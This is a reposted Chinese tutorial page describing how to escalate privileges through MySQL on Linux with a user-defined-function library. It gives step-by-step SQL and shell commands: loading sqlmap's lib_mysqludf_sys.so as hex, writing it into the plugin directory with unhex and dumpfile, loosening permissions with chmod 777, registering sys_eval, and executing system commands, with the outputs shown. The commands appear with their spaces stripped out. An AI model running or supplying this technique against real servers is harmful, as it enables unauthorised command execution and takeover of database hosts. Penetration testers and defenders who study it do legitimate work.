数据库教程:Linux利用UDF库实现Mysql提权分享

环境:
os:linux(bt5)
 
database:mysql
 
简述:
通过自定义库函数来实现执行任意的程序,这里只在linux下测试通过,具体到windows,所用的dll自然不同。
 
要求:
 在mysql库下必须有func表,并且在‑‑skip‑grant‑tables开启的情况下,UDF会被禁止;
 
过程:得到插件库路径找对应操作系统的udf库文件利用udf库文件加载函数并执行命令

1,得到插件库路径

mysql>showvariableslike"%plugin%"; +---------------+-----------------------+ |Variable_name|Value| +---------------+-----------------------+ |plugin_dir|/usr/lib/mysql/plugin| +---------------+-----------------------+ 1rowinset(0.00sec)

2,找对应操作系统的udf库文件
因为自己测试,看了下自己系统的版本,64位
 

root@bt:~#uname-a Linuxbt3.2.6#1SMPFriFeb1710:34:20EST2012x86_64GNU/Linux

 
对于udf文件,在sqlmap工具中自带就有,只要找对应操作系统的版本即可

root@bt:/pentest/database/sqlmap/udf/mysql#ls linuxwindows root@bt:/pentest/database/sqlmap/udf/mysql/linux#ls 3264 root@bt:/pentest/database/sqlmap/udf/mysql/linux/64#ls lib_mysqludf_sys.so

3,利用udf库文件加载函数并执行命令
首先要得到udf库文件的十六进制格式,可在本地通过
 

mysql>selecthex(load_file('/pentest/database/sqlmap/udf/mysql/linux/64/lib_mysqludf_sys.so'))intooutfile'/tmp/udf.txt'; QueryOK,1rowaffected(0.04sec)

 
因为我测试时,使用自带账户,账户名mysql,并不是root,所以插件目录不可写,而实际中,一般udf提权都是用root权限启动的mysql程序,故,不存在目录权限不足,不能访问的情况。为了继续,修改目录权限
 
root@bt:~#chmod777/usr/lib/mysql/plugin
 
数据库中写入udf库到mysql库目录:
 

mysql>selectunhex('7F454C46020...')intodumpfile'/usr/lib/mysql/plugin/mysqludf.so'; QueryOK,1rowaffected(0.04sec)

 
查看下这个udf库所支持的函数

root@bt:~#nm-D/usr/lib/mysql/plugin/mysqludf.so w_Jv_RegisterClasses 0000000000201788A__bss_start w__cxa_finalize w__gmon_start__ 0000000000201788A_edata 0000000000201798A_end 0000000000001178T_fini 0000000000000ba0T_init Ufgets Ufork Ufree Ugetenv 000000000000101aTlib_mysqludf_sys_info 0000000000000da4Tlib_mysqludf_sys_info_deinit 0000000000001047Tlib_mysqludf_sys_info_init Umalloc Ummap Upclose Upopen Urealloc Usetenv Ustrcpy Ustrncpy 0000000000000dacTsys_bineval 0000000000000dabTsys_bineval_deinit 0000000000000da8Tsys_bineval_init 0000000000000e46Tsys_eval 0000000000000da7Tsys_eval_deinit 0000000000000f2eTsys_eval_init 0000000000001066Tsys_exec 0000000000000da6Tsys_exec_deinit 0000000000000f57Tsys_exec_init 00000000000010f7Tsys_get 0000000000000da5Tsys_get_deinit 0000000000000feaTsys_get_init 000000000000107aTsys_set 00000000000010e8Tsys_set_deinit 0000000000000f80Tsys_set_init Usysconf Usystem Uwaitpid

最后,加载函数并执行:

mysql>createfunctionsys_evalreturnsstringsoname"mysqludf.so"; QueryOK,0rowsaffected(0.14sec) mysql>selectsys_eval('whoami'); +--------------------+ |sys_eval('whoami')| +--------------------+ |mysql| +--------------------+ 1rowinset(0.04sec) mysql>select*frommysql.func; +----------+-----+-------------+----------+ |name|ret|dl|type| +----------+-----+-------------+----------+ |sys_eval|0|mysqludf.so|function| +----------+-----+-------------+----------+ 1rowinset 您可能感兴趣的文章:linux提权用的一个技巧Linux下非交互式提权详解如何使用Linux文本操作命令ed进行提权nov5详解

标签: sq

忘记Mysql密码的解决办法小结

Ubuntu配置Mysql主从数据库

上述就是数据库技术:Linux利用UDF库实现Mysql提权分享的全部内容,如果对大家有所用处且需要了解更多关于mysql数据库学习教程,希望大家多多关注—计算机技术网(www.ctvol.com)!

本文来自网络收集,不代表计算机技术网立场,如涉及侵权请联系管理员删除。

ctvol管理联系方式QQ:251552304

本文章地址:https://www.ctvol.com/dtteaching/911151.html

(0)
上一篇 2021年10月25日
下一篇 2021年10月25日

精彩推荐